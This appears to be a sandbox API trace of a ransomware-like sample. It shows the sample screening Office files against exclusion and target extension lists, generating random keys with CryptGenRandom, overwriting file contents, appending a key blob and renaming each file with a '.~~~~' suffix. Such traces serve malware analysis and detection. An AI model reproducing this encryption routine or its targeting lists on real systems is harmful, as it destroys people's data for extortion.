	[0136.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.396] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3949f8) returned 1
	[0136.397] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.397] CryptReleaseContext (hProv=0x3949f8, dwFlags=0x0) returned 1
	[0136.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.398] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25638776806) returned 1
	[0136.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbabcf610, dwHighDateTime=0x1d60e1e)) 
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825470
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825470 | out: hHeap=0x300000) returned 1
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5bc8
	[0136.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.399] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.399] GetLastError () returned 0x0
	[0136.399] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.644] GetLastError () returned 0x0
	[0136.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.646] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0136.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.646] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.646] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.646] CloseHandle (hObject=0x114) returned 1
	[0136.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0136.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.~~~~")) returned 1
	[0136.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.650] GetLastError () returned 0x0
	[0136.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".scr") returned 0x0
	[0136.650] lstrlenW (lpString=".cmd") returned 4
	[0136.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".cmd") returned 0x0
	[0136.650] lstrlenW (lpString=".dll") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dll") returned 0x0
	[0136.651] lstrlenW (lpString=".bat") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".bat") returned 0x0
	[0136.651] lstrlenW (lpString=".cpl") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".cpl") returned 0x0
	[0136.651] lstrlenW (lpString=".sys") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".sys") returned 0x0
	[0136.651] lstrlenW (lpString=".msc") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".msc") returned 0x0
	[0136.651] lstrlenW (lpString=".com") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".com") returned 0x0
	[0136.651] lstrlenW (lpString=".lnk") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".lnk") returned 0x0
	[0136.651] lstrlenW (lpString=".msp") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".msp") returned 0x0
	[0136.651] lstrlenW (lpString=".pif") returned 4
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".pif") returned 0x0
	[0136.651] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0136.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.654] lstrlenW (lpString=".sqb") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".sqb") returned 0x0
	[0136.654] lstrlenW (lpString=".ost") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".ost") returned 0x0
	[0136.654] lstrlenW (lpString=".txt") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".txt") returned 0x0
	[0136.654] lstrlenW (lpString=".mdt") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".mdt") returned 0x0
	[0136.654] lstrlenW (lpString=".BDB") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".BDB") returned 0x0
	[0136.654] lstrlenW (lpString=".eql") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".eql") returned 0x0
	[0136.654] lstrlenW (lpString=".DBF") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DBF") returned 0x0
	[0136.654] lstrlenW (lpString=".EQL") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".EQL") returned 0x0
	[0136.654] lstrlenW (lpString=".FDB") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".FDB") returned 0x0
	[0136.654] lstrlenW (lpString=".EDB") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".EDB") returned 0x0
	[0136.654] lstrlenW (lpString=".DACPAC") returned 7
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DACPAC") returned 0x0
	[0136.654] lstrlenW (lpString=".VHD") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".VHD") returned 0x0
	[0136.654] lstrlenW (lpString=".DBV") returned 4
	[0136.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DBV") returned 0x0
	[0136.655] lstrlenW (lpString=".dacpac") returned 7
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dacpac") returned 0x0
	[0136.655] lstrlenW (lpString=".sdf") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".sdf") returned 0x0
	[0136.655] lstrlenW (lpString=".accdb") returned 6
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".accdb") returned 0x0
	[0136.655] lstrlenW (lpString=".DBX") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DBX") returned 0x0
	[0136.655] lstrlenW (lpString=".MDT") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".MDT") returned 0x0
	[0136.655] lstrlenW (lpString=".SQB") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".SQB") returned 0x0
	[0136.655] lstrlenW (lpString=".vhd") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".vhd") returned 0x0
	[0136.655] lstrlenW (lpString=".bac") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".bac") returned 0x0
	[0136.655] lstrlenW (lpString=".mdf") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".mdf") returned 0x0
	[0136.655] lstrlenW (lpString=".BAK") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".BAK") returned 0x0
	[0136.655] lstrlenW (lpString=".BAC") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".BAC") returned 0x0
	[0136.655] lstrlenW (lpString=".dbs") returned 4
	[0136.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dbs") returned 0x0
	[0136.655] lstrlenW (lpString=".vhdx") returned 5
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".vhdx") returned 0x0
	[0136.656] lstrlenW (lpString=".NDF") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".NDF") returned 0x0
	[0136.656] lstrlenW (lpString=".dat") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dat") returned 0x0
	[0136.656] lstrlenW (lpString=".DBS") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DBS") returned 0x0
	[0136.656] lstrlenW (lpString=".CKP") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".CKP") returned 0x0
	[0136.656] lstrlenW (lpString=".edb") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".edb") returned 0x0
	[0136.656] lstrlenW (lpString=".PST") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".PST") returned 0x0
	[0136.656] lstrlenW (lpString=".dbf") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dbf") returned 0x0
	[0136.656] lstrlenW (lpString=".SQL") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".SQL") returned 0x0
	[0136.656] lstrlenW (lpString=".pst") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".pst") returned 0x0
	[0136.656] lstrlenW (lpString=".dbv") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dbv") returned 0x0
	[0136.656] lstrlenW (lpString=".SDF") returned 4
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".SDF") returned 0x0
	[0136.656] lstrlenW (lpString=".dtxs") returned 5
	[0136.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dtxs") returned 0x0
	[0136.657] lstrlenW (lpString=".db3") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".db3") returned 0x0
	[0136.657] lstrlenW (lpString=".OST") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".OST") returned 0x0
	[0136.657] lstrlenW (lpString=".dbx") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dbx") returned 0x0
	[0136.657] lstrlenW (lpString=".DB3") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DB3") returned 0x0
	[0136.657] lstrlenW (lpString=".DAT") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DAT") returned 0x0
	[0136.657] lstrlenW (lpString=".VHDX") returned 5
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".VHDX") returned 0x0
	[0136.657] lstrlenW (lpString=".ndf") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".ndf") returned 0x0
	[0136.657] lstrlenW (lpString=".DB") returned 3
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DB") returned 0x0
	[0136.657] lstrlenW (lpString=".sql") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".sql") returned 0x0
	[0136.657] lstrlenW (lpString=".MYD") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".MYD") returned 0x0
	[0136.657] lstrlenW (lpString=".DBT") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DBT") returned 0x0
	[0136.657] lstrlenW (lpString=".ACCDB") returned 6
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".ACCDB") returned 0x0
	[0136.657] lstrlenW (lpString=".fdb") returned 4
	[0136.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".fdb") returned 0x0
	[0136.658] lstrlenW (lpString=".bak") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".bak") returned 0x0
	[0136.658] lstrlenW (lpString=".myd") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".myd") returned 0x0
	[0136.658] lstrlenW (lpString=".DTXS") returned 5
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".DTXS") returned 0x0
	[0136.658] lstrlenW (lpString=".ckp") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".ckp") returned 0x0
	[0136.658] lstrlenW (lpString=".dbt") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".dbt") returned 0x0
	[0136.658] lstrlenW (lpString=".db") returned 3
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".db") returned 0x0
	[0136.658] lstrlenW (lpString=".TXT") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".TXT") returned 0x0
	[0136.658] lstrlenW (lpString=".MDF") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".MDF") returned 0x0
	[0136.658] lstrlenW (lpString=".bdb") returned 4
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".bdb") returned 0x0
	[0136.658] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0136.659] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3948e8) returned 1
	[0136.660] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0136.660] CryptReleaseContext (hProv=0x3948e8, dwFlags=0x0) returned 1
	[0136.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0136.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.683] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25667282690) returned 1
	[0136.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbaea3030, dwHighDateTime=0x1d60e1e)) 
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4e78
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4e78 | out: hHeap=0x300000) returned 1
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.684] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.684] GetLastError () returned 0x0
	[0136.684] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.684] GetLastError () returned 0x0
	[0136.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.687] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0136.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.687] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.688] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.688] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.688] CloseHandle (hObject=0x114) returned 1
	[0136.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.~~~~")) returned 1
	[0136.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c58d0 | out: hHeap=0x300000) returned 1
	[0136.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.691] GetLastError () returned 0x0
	[0136.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".scr") returned 0x0
	[0136.691] lstrlenW (lpString=".cmd") returned 4
	[0136.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".cmd") returned 0x0
	[0136.691] lstrlenW (lpString=".dll") returned 4
